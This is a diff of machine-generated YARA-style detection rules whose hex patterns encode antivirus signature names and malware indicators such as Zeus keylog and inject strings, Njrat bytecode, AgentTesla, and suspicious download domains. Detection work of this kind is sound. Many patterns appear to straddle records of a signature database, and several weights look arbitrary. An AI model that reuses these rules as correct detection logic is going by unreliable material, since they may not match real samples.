04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4a 31 32 33 21 4d 54 42 00 01 00 12 81 01 6f 73 63 75 6c 61 62 6c 65 20 73 77 61 74 74 69 6e 67 01 00 0c 81 01 64 64 73 73 70 72 69 6e 67 65 74 73 01 00 09 81 01 70 68 65 6e 65 74 68 79 6c 01 00 13 81 01 73 65 } //5632 + $a_73_3 = {6f 6e 73 20 74 6f 75 63 68 69 6e 67 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4d 4a 31 32 33 21 4d 54 42 00 01 00 07 81 01 69 6e 73 65 63 74 61 01 00 0c 81 01 6d 6f 6e 64 6e 69 74 65 74 65 6e 73 01 00 0c 81 01 70 75 6c 70 65 66 61 63 74 69 6f 6e 01 00 1b 81 01 67 61 6c 6c 69 73 6b 65 } //27747 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29807+(#a_01_2 & 1)*5632+(#a_73_3 & 1)*27747) >=4 + +} +rule _InfrastructureShared_8079{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 53 56 21 4d 54 42 00 01 00 0b 81 01 61 63 65 61 6e 74 68 72 65 6e 65 01 00 0e 81 01 6f 72 74 68 6f 67 6f 6e 61 6c 69 73 65 64 01 00 08 81 01 66 6e 6f 6d 65 6e 65 72 01 00 16 81 } //18467 + $a_65_1 = {65 6b 73 6b 6c 75 64 65 72 65 6e 64 65 73 2e 65 78 65 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4a 31 32 33 21 4d 54 42 00 01 00 12 81 01 6f 73 63 75 6c 61 62 6c 65 20 73 77 61 74 74 69 6e 67 01 00 0c 81 01 64 64 73 73 70 72 69 6e 67 65 74 73 01 00 09 81 01 70 68 65 6e 65 74 } //26625 + $a_01_2 = {00 13 81 01 73 65 63 6c 75 73 69 6f 6e 73 20 74 6f 75 63 68 69 6e 67 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4d 4a 31 32 33 21 4d 54 42 00 01 00 07 81 01 69 6e 73 65 63 74 61 01 00 0c 81 01 6d 6f 6e 64 6e 69 74 65 74 65 6e 73 01 00 0c 81 01 70 75 6c 70 65 } //31080 + $a_74_3 = {6f 6e 01 00 1b 81 01 67 61 6c 6c 69 73 6b 65 73 20 6d 6f 6e 6f 70 68 61 73 69 63 20 6e 79 73 61 6c 67 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 41 31 21 4d 54 42 00 01 00 11 81 01 66 6f 6c 6b 65 74 69 6e 67 73 75 64 76 61 6c 67 73 } //24934 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26625+(#a_01_2 & 1)*31080+(#a_74_3 & 1)*24934) >=4 + +} +rule _InfrastructureShared_8080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -80500,38 +85152,110 @@ rule _InfrastructureShared_7643{ $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 4a 31 32 33 21 4d 54 42 00 01 00 12 81 01 6f 73 63 75 6c 61 62 6c 65 20 73 77 61 74 74 69 6e 67 01 00 0c 81 01 64 64 73 73 70 72 69 6e 67 65 74 73 01 00 09 81 01 70 68 65 6e 65 74 68 79 6c 01 } //18467 $a_01_1 = {73 65 63 6c 75 73 69 6f 6e 73 20 74 6f 75 63 68 69 6e 67 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4d 4a 31 32 33 21 4d 54 42 00 01 00 07 81 01 69 6e 73 65 63 74 61 01 00 0c 81 01 6d 6f 6e 64 6e 69 74 65 74 65 6e 73 01 00 0c 81 01 70 75 6c 70 65 66 61 63 74 69 6f 6e 01 00 1b 81 01 67 61 6c 6c 69 73 6b 65 73 20 6d 6f 6e } //4864 $a_61_2 = {69 63 20 6e 79 73 61 6c 67 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 41 31 21 4d 54 42 00 01 00 11 81 01 66 6f 6c 6b 65 74 69 6e 67 73 75 64 76 61 6c 67 73 01 00 0a 81 01 73 6b 65 62 6c 61 64 65 74 73 01 00 0f 81 01 6a 65 72 6e 62 61 6e 65 6c 69 } //28783 - $a_72_3 = {01 00 13 81 01 6d 65 79 65 72 20 6d 69 6e 69 6d 61 6c 6c 79 2e 65 78 65 00 00 78 78 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 56 69 72 75 73 3a 57 69 6e 33 32 2f 45 78 70 69 72 6f 2e 53 56 21 4d 54 42 00 01 00 0a 80 01 4e 45 54 58 49 52 2e 49 4e 46 01 00 06 80 01 58 49 52 43 4f 4d 01 00 08 80 01 76 69 } //26990 + $a_72_3 = {01 00 13 81 01 6d 65 79 65 72 20 6d 69 6e 69 6d 61 6c 6c 79 2e 65 78 65 00 00 78 78 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 72 61 74 2e 50 47 4e 52 21 4d 54 42 00 05 00 4b 03 03 09 03 6f 90 01 01 00 00 0a 5d 17 d6 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a da } //26990 condition: ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_61_2 & 1)*28783+(#a_72_3 & 1)*26990) >=4 } -rule _InfrastructureShared_7644{ +rule _InfrastructureShared_8081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4d 4d 4a 31 32 33 21 4d 54 42 00 01 00 07 81 01 69 6e 73 65 63 74 61 01 00 0c 81 01 6d 6f 6e 64 6e 69 74 65 74 65 6e 73 01 00 0c 81 01 70 75 6c 70 65 66 61 63 74 69 6f 6e 01 00 1b 81 01 67 61 6c 6c } //18467 $a_65_1 = {20 6d 6f 6e 6f 70 68 61 73 69 63 20 6e 79 73 61 6c 67 00 00 78 78 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 41 31 21 4d 54 42 00 01 00 11 81 01 66 6f 6c 6b 65 74 69 6e 67 73 75 64 76 61 6c 67 73 01 00 0a 81 01 73 6b 65 62 6c 61 64 65 74 73 01 00 0f 81 01 6a 65 72 6e } //29545 - $a_65_2 = {69 6e 69 65 72 73 01 00 13 81 01 6d 65 79 65 72 20 6d 69 6e 69 6d 61 6c 6c 79 2e 65 78 65 00 00 78 78 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 56 69 72 75 73 3a 57 69 6e 33 32 2f 45 78 70 69 72 6f 2e 53 56 21 4d 54 42 00 01 00 0a 80 01 4e 45 54 58 49 52 2e 49 4e 46 01 00 06 80 01 58 49 52 43 4f 4d 01 00 08 80 01 76 69 64 73 6d } //24930 - $a_01_3 = {00 14 80 01 52 65 6c 65 61 73 65 5c 42 72 52 65 6d 50 6e 50 2e 70 64 62 01 00 0b 80 01 50 43 4d 43 49 41 2e 4c 49 53 54 00 00 78 78 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 32 32 21 4d 54 42 00 01 00 0b 81 01 67 65 74 } //27762 + $a_65_2 = {69 6e 69 65 72 73 01 00 13 81 01 6d 65 79 65 72 20 6d 69 6e 69 6d 61 6c 6c 79 2e 65 78 65 00 00 78 78 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 72 61 74 2e 50 47 4e 52 21 4d 54 42 00 05 00 4b 03 03 09 03 6f 90 01 01 00 00 0a 5d 17 d6 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a da 13 04 07 } //24930 + $a_90_3 = {01 00 00 0a 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a 0b 09 17 d6 0d 00 09 08 fe 02 16 fe 01 13 05 11 05 2d b7 90 00 00 } //1041 condition: - ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29545+(#a_65_2 & 1)*24930+(#a_01_3 & 1)*27762) >=4 + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29545+(#a_65_2 & 1)*24930+(#a_90_3 & 1)*1041) >=4 } -rule _InfrastructureShared_7645{ +rule _InfrastructureShared_8082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 52 49 41 31 21 4d 54 42 00 01 00 11 81 01 66 6f 6c 6b 65 74 69 6e 67 73 75 64 76 61 6c 67 73 01 00 0a 81 01 73 6b 65 62 6c 61 64 65 74 73 01 00 0f 81 01 6a 65 72 6e 62 61 6e 65 6c 69 6e 69 65 72 73 01 } //18467 - $a_01_1 = {6d 65 79 65 72 20 6d 69 6e 69 6d 61 6c 6c 79 2e 65 78 65 00 00 78 78 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 56 69 72 75 73 3a 57 69 6e 33 32 2f 45 78 70 69 72 6f 2e 53 56 21 4d 54 42 00 01 00 0a 80 01 4e 45 54 58 49 52 2e 49 4e 46 01 00 06 80 01 58 49 52 43 4f 4d 01 00 08 80 01 76 69 64 73 6d 72 6c 65 01 00 14 80 01 52 65 6c 65 61 73 65 5c 42 72 52 65 6d 50 6e 50 2e 70 64 62 01 00 } //4864 - $a_50_2 = {4d } //-32757 M - $a_2e_3 = {49 53 54 00 00 78 78 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 32 32 21 4d 54 42 00 01 00 0b 81 01 67 65 74 5f } //18755 + $a_01_1 = {6d 65 79 65 72 20 6d 69 6e 69 6d 61 6c 6c 79 2e 65 78 65 00 00 78 78 00 00 05 00 05 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 72 61 74 2e 50 47 4e 52 21 4d 54 42 00 05 00 4b 03 03 09 03 6f 90 01 01 00 00 0a 5d 17 d6 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a da 13 04 07 11 04 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a 0b 09 17 d6 0d 00 09 } //4864 + $a_16_2 = {01 13 } //-504 ጁ + $a_2d_3 = {90 00 00 00 78 } //4357 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_50_2 & 1)*-32757+(#a_2e_3 & 1)*18755) >=4 + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_16_2 & 1)*-504+(#a_2d_3 & 1)*4357) >=4 } -rule _InfrastructureShared_7646{ +rule _InfrastructureShared_8083{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6a 72 61 74 2e 50 47 4e 52 21 4d 54 42 00 05 00 4b 03 03 09 03 6f 90 01 01 00 00 0a 5d 17 d6 28 90 01 01 00 00 0a 28 90 01 01 00 00 0a da 13 04 07 11 04 28 90 01 01 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_8084{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 72 79 70 74 42 6f 74 2e 43 43 4a 58 21 4d 54 42 00 05 00 47 03 c5 fd 6f 45 d0 c5 fe 7f 85 90 01 04 8b 45 c8 c5 fe 6f 00 c5 fe 7f 85 90 01 04 c5 fe 6f 85 90 01 04 c5 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_8085{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 47 65 74 4e 6f 77 00 02 00 19 80 01 73 65 74 75 70 2e 6d 61 78 72 65 76 69 6e 73 74 61 6c 6c 65 72 2e 63 6f 6d 01 00 18 80 01 64 6c 2e 6d 69 6e 62 72 75 6b 73 61 6e 76 69 73 6e 69 6e 67 2e 63 6f 6d 01 00 08 80 01 68 61 73 4f 66 66 65 72 } //20515 + $a_80_1 = {63 7a 65 63 68 6d 61 6e 75 61 6c 73 2e 63 6f 6d } //czechmanuals.com 1 + $a_78_2 = {00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 50 72 65 6d 69 75 6d 49 6e 73 74 61 6c 6c 65 72 00 02 00 17 80 01 69 6e 73 74 61 6c 6c 2e 6f 69 6e 73 74 61 6c 6c 65 72 32 2e 63 6f 6d 01 00 11 80 01 50 6c 61 79 65 72 2d 43 68 72 6f 6d 65 2e 65 78 65 01 00 05 80 01 6f 66 66 65 72 01 00 12 80 01 4c 6f 61 64 65 72 5f 52 65 73 69 7a 65 64 2e 70 64 62 00 } //0 + $a_00_3 = {00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 6f 63 74 75 73 65 65 72 00 02 00 0c 80 01 77 61 6a 61 6d 5f 36 34 2e 70 64 62 01 00 11 80 01 65 78 63 65 70 74 69 6f 6e 5f 70 74 72 2e 68 70 70 01 00 0f 80 01 73 74 72 69 6e 67 5f 70 61 74 68 2e 68 70 70 01 00 1a 80 01 57 61 6a 61 6d 20 57 65 62 20 45 6e 68 61 6e 63 65 72 20 4d 6f 6e 69 74 6f 72 00 } //30720 + condition: + ((#a_41_0 & 1)*20515+(#a_80_1 & 1)*1+(#a_78_2 & 1)*0+(#a_00_3 & 1)*30720) >=5 + +} +rule _InfrastructureShared_8086{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 50 72 65 6d 69 75 6d 49 6e 73 74 61 6c 6c 65 72 00 02 00 17 80 01 69 6e 73 74 61 6c 6c 2e 6f 69 6e 73 74 61 6c 6c 65 72 32 2e 63 6f 6d 01 00 11 80 01 50 6c 61 79 65 72 2d 43 68 72 6f 6d 65 2e 65 78 65 01 00 05 80 01 6f 66 66 65 72 01 00 } //20515 + $a_4c_1 = {61 } //-32750 a + $a_5f_2 = {65 73 69 7a 65 64 2e 70 64 62 00 00 78 78 00 00 05 00 05 00 04 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 53 6f 63 74 75 73 65 65 72 00 02 00 0c 80 01 77 61 6a 61 6d 5f 36 34 2e 70 64 62 01 00 11 80 01 65 78 63 65 70 74 69 6f 6e 5f 70 74 72 2e 68 70 70 01 00 0f 80 01 73 74 72 69 6e 67 5f 70 61 74 68 2e 68 70 70 01 00 1a 80 01 57 61 6a 61 6d 20 } //25956 + $a_20_3 = {6e 68 61 6e 63 65 72 20 4d 6f 6e 69 74 6f 72 00 00 78 78 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 53 68 61 64 2e 47 41 55 21 4d 54 42 00 02 00 0d 81 01 71 54 61 6e 37 62 71 38 6a 35 39 50 6b 01 00 0d 81 01 66 74 70 75 70 6c 6f 61 64 2e 6e 65 74 } //25943 + condition: + ((#a_41_0 & 1)*20515+(#a_4c_1 & 1)*-32750+(#a_5f_2 & 1)*25956+(#a_20_3 & 1)*25943) >=5 + +} +rule _InfrastructureShared_8087{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 53 6f 63 74 75 73 65 65 72 00 02 00 0c 80 01 77 61 6a 61 6d 5f 36 34 2e 70 64 62 01 00 11 80 01 65 78 63 65 70 74 69 6f 6e 5f 70 74 72 2e 68 70 70 01 00 0f 80 01 73 74 72 69 6e 67 5f 70 61 74 68 2e 68 70 70 01 00 1a 80 01 57 61 6a 61 6d } //20515 + $a_62_1 = {45 6e 68 61 6e 63 65 72 20 4d 6f 6e 69 74 6f 72 00 00 78 78 00 00 05 00 05 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 53 68 61 64 2e 47 41 55 21 4d 54 42 00 02 00 0d 81 01 71 54 61 6e 37 62 71 38 6a 35 39 50 6b 01 00 0d 81 01 66 74 70 75 70 6c 6f 61 64 2e 6e 65 74 01 00 } //22304 + $a_41_2 = {74 } //-32499 t + $a_72_3 = {73 2e 65 78 65 01 00 12 81 01 2f 52 6f 7a 62 65 68 4f 66 53 61 74 61 6e 2e 65 78 65 00 00 78 78 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 56 69 72 75 73 3a 57 69 6e 33 32 2f 45 78 70 69 72 6f 2e 53 56 21 4d 54 42 00 01 00 0a 80 01 4e 45 54 58 49 52 2e 49 4e 46 01 00 06 80 01 58 49 52 43 4f 4d 01 00 08 80 01 76 69 } //30313 + condition: + ((#a_41_0 & 1)*20515+(#a_62_1 & 1)*22304+(#a_41_2 & 1)*-32499+(#a_72_3 & 1)*30313) >=5 + +} +rule _InfrastructureShared_8088{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 6c 53 68 61 64 2e 47 41 55 21 4d 54 42 00 02 00 0d 81 01 71 54 61 6e 37 62 71 38 6a 35 39 50 6b 01 00 0d 81 01 66 74 70 75 70 6c 6f 61 64 2e 6e 65 74 01 00 0d 81 } //21539 + $a_74_1 = {76 69 72 75 73 2e 65 78 65 01 00 12 81 01 2f 52 6f 7a 62 65 68 4f 66 53 61 74 61 6e 2e 65 78 65 00 00 78 78 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 56 69 72 75 73 3a 57 69 6e 33 32 2f 45 78 70 69 72 6f 2e 53 56 21 4d 54 42 00 01 00 0a 80 01 4e 45 54 58 49 52 2e 49 4e 46 01 00 06 80 01 58 49 52 43 4f 4d 01 00 08 80 01 76 69 64 } //16641 + $a_6c_2 = {01 00 14 80 01 52 65 6c 65 61 73 65 5c 42 72 52 65 6d 50 6e 50 2e 70 64 62 01 00 0b 80 01 50 43 4d 43 49 41 2e 4c 49 53 54 00 00 78 78 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 32 32 21 4d 54 42 00 01 00 0b 81 01 67 65 74 5f 50 50 30 30 30 30 33 01 00 0b 81 } //28019 + $a_74_3 = {50 50 30 30 30 30 34 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 0a 01 0c 08 20 00 c6 00 00 fe 04 13 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 78 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 75 73 2e 5a 41 21 4d 54 42 00 01 00 0f 01 6e 61 6d 65 3d 25 73 26 } //29441 + condition: + ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*16641+(#a_6c_2 & 1)*28019+(#a_74_3 & 1)*29441) >=5 + +} +rule _InfrastructureShared_8089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -80539,26 +85263,40 @@ rule _InfrastructureShared_7646{ $a_46_0 = {56 69 72 75 73 3a 57 69 6e 33 32 2f 45 78 70 69 72 6f 2e 53 56 21 4d 54 42 00 01 00 0a 80 01 4e 45 54 58 49 52 2e 49 4e 46 01 00 06 80 01 58 49 52 43 4f 4d 01 00 08 80 01 76 69 64 73 6d 72 6c 65 01 00 14 80 01 52 65 6c 65 61 73 } //16675 $a_72_1 = {65 6d 50 6e 50 2e 70 64 62 01 00 0b 80 01 50 43 4d 43 49 41 2e 4c 49 53 54 00 00 78 78 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 } //23653 $a_4d_2 = {32 32 21 4d 54 42 00 01 00 0b 81 01 67 65 74 5f 50 50 30 30 30 30 33 01 00 0b 81 01 73 65 74 5f 50 50 30 30 30 30 34 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 0a 01 0c 08 20 00 c6 00 00 fe 04 13 01 00 08 81 01 47 65 74 50 69 78 65 } //16686 - $a_00_4 = {06 00 03 00 21 23 } //0 + $a_00_4 = {05 00 05 00 21 } //0 condition: ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*23653+(#a_4d_2 & 1)*16686+(#a_00_4 & 1)*0) >=5 } -rule _InfrastructureShared_7647{ +rule _InfrastructureShared_8090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 33 32 32 21 4d 54 42 00 01 00 0b 81 01 67 65 74 5f 50 50 30 30 30 30 33 01 00 0b 81 01 73 65 74 5f 50 50 30 30 30 30 34 01 00 07 81 01 54 6f 57 69 6e 33 32 01 00 0a 01 } //18467 - $a_00_1 = {c6 00 00 fe 04 13 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 78 00 00 06 00 06 00 03 00 21 } //2060 - $a_46_2 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 65 6d 73 69 6c 2e 53 43 21 4d 54 42 00 02 00 24 01 50 72 6f 6a 65 63 74 73 5c 66 66 66 5c 66 66 66 5c 6f 62 6a 5c 44 65 62 75 67 5c 69 6f 69 75 6a 2e 70 64 62 02 00 08 01 77 69 69 6e 2e 65 } //16675 - $a_00_3 = {18 01 } //25976 Ę - $a_2e_4 = {72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 78 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 41 62 69 67 65 2e 41 21 64 68 61 00 02 00 17 01 5c 72 75 6e 64 6c 6c 33 32 5f 67 65 74 61 64 6d 69 6e 5c 41 64 64 5c 02 00 25 01 70 61 73 73 77 6f 72 64 } //26214 + $a_00_1 = {c6 00 00 fe 04 13 01 00 08 81 01 47 65 74 50 69 78 65 6c 00 00 78 78 00 00 05 00 05 00 05 00 21 } //2060 + $a_4c_2 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 75 73 2e 5a 41 21 4d 54 42 00 01 00 0f 01 6e 61 6d 65 3d 25 73 26 70 6f 72 74 3d 25 75 01 00 0b 01 64 61 74 61 5f 69 6e 6a 65 63 74 01 00 0a 01 6b 65 79 6c 6f 67 } //21539 + $a_74_3 = {00 0e 01 55 73 65 72 2d 61 67 65 6e 74 3a 20 25 73 01 00 0b 00 25 73 5c 25 30 32 64 2e 62 6d 70 00 00 78 78 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 65 6d 73 69 6c 2e 53 43 21 4d 54 42 00 02 00 24 01 50 72 6f 6a 65 63 74 73 5c 66 66 66 5c 66 66 66 5c 6f 62 6a 5c 44 65 62 75 67 5c 69 6f 69 75 6a 2e 70 64 62 02 00 08 01 } //29742 + $a_6e_4 = {65 78 65 02 00 18 01 66 66 66 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 78 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 41 62 69 67 65 2e 41 21 64 68 61 00 02 00 17 01 5c 72 75 6e 64 6c 6c 33 32 5f 67 65 74 61 64 6d 69 6e 5c 41 64 64 5c 02 00 25 } //26999 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2060+(#a_46_2 & 1)*16675+(#a_00_3 & 1)*25976+(#a_2e_4 & 1)*26214) >=5 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*2060+(#a_4c_2 & 1)*21539+(#a_74_3 & 1)*29742+(#a_6e_4 & 1)*26999) >=5 } -rule _InfrastructureShared_7648{ +rule _InfrastructureShared_8091{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 65 75 73 2e 5a 41 21 4d 54 42 00 01 00 0f 01 6e 61 6d 65 3d 25 73 26 70 6f 72 74 3d 25 75 01 00 0b 01 64 61 74 61 5f 69 6e 6a 65 63 74 01 00 0a 01 6b 65 79 6c 6f 67 } //21539 + $a_74_1 = {00 0e 01 55 73 65 72 2d 61 67 65 6e 74 3a 20 25 73 01 00 0b 00 25 73 5c 25 30 32 64 2e 62 6d 70 00 00 78 78 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 65 6d 73 69 6c 2e 53 43 21 4d 54 42 00 02 00 24 01 50 72 6f 6a 65 63 74 73 5c 66 66 66 5c 66 66 66 5c 6f 62 6a 5c 44 65 62 75 67 5c 69 6f 69 75 6a 2e 70 64 62 02 00 08 01 } //29742 + $a_6e_2 = {65 78 65 02 00 18 01 66 66 66 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 00 00 78 78 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 36 34 2f 41 62 69 67 65 2e 41 21 64 68 61 00 02 00 17 01 5c 72 75 6e 64 6c 6c 33 32 5f 67 65 74 61 64 6d 69 6e 5c 41 64 64 5c 02 00 25 } //26999 + $a_73_3 = {77 6f 72 64 20 6d 61 79 20 45 72 72 6f 72 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 61 67 61 69 6e 02 00 08 01 41 64 64 42 79 47 6f 64 00 00 78 78 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 62 78 6f 77 2e 53 53 21 4d 54 42 00 02 00 11 01 67 74 6d 64 73 } //28673 + $a_64_4 = {74 65 72 2e 65 78 65 02 00 25 01 24 32 64 38 33 31 63 36 35 2d 36 37 66 66 2d 34 34 30 30 2d 39 32 32 34 2d 62 39 37 65 37 66 39 66 38 36 65 31 02 00 0f 01 5b 47 54 4d 44 53 5d 20 55 70 64 61 74 65 72 00 00 78 78 00 00 07 00 07 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 30 } //30047 + condition: + ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*29742+(#a_6e_2 & 1)*26999+(#a_73_3 & 1)*28673+(#a_64_4 & 1)*30047) >=5 + +} +rule _InfrastructureShared_8092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -80570,7 +85308,7 @@ rule _InfrastructureShared_7648{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25976+(#a_2e_2 & 1)*26214) >=6 } -rule _InfrastructureShared_7649{ +rule _InfrastructureShared_8093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -80582,7 +85320,7 @@ rule _InfrastructureShared_7649{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*17696+(#a_30_2 & 1)*13357) >=6 } -rule _InfrastructureShared_7650{ +rule _InfrastructureShared_8094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " @@ -80594,7 +85332,7 @@ rule _InfrastructureShared_7650{ ((#a_4c_0 & 1)*21539+(#a_32_1 & 1)*14637+(#a_6f_2 & 1)*21562) >=6 } -rule _InfrastructureShared_7651{ +rule _InfrastructureShared_8095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 03 00 21 " @@ -80606,7 +85344,7 @@ rule _InfrastructureShared_7651{ ((#a_54_0 & 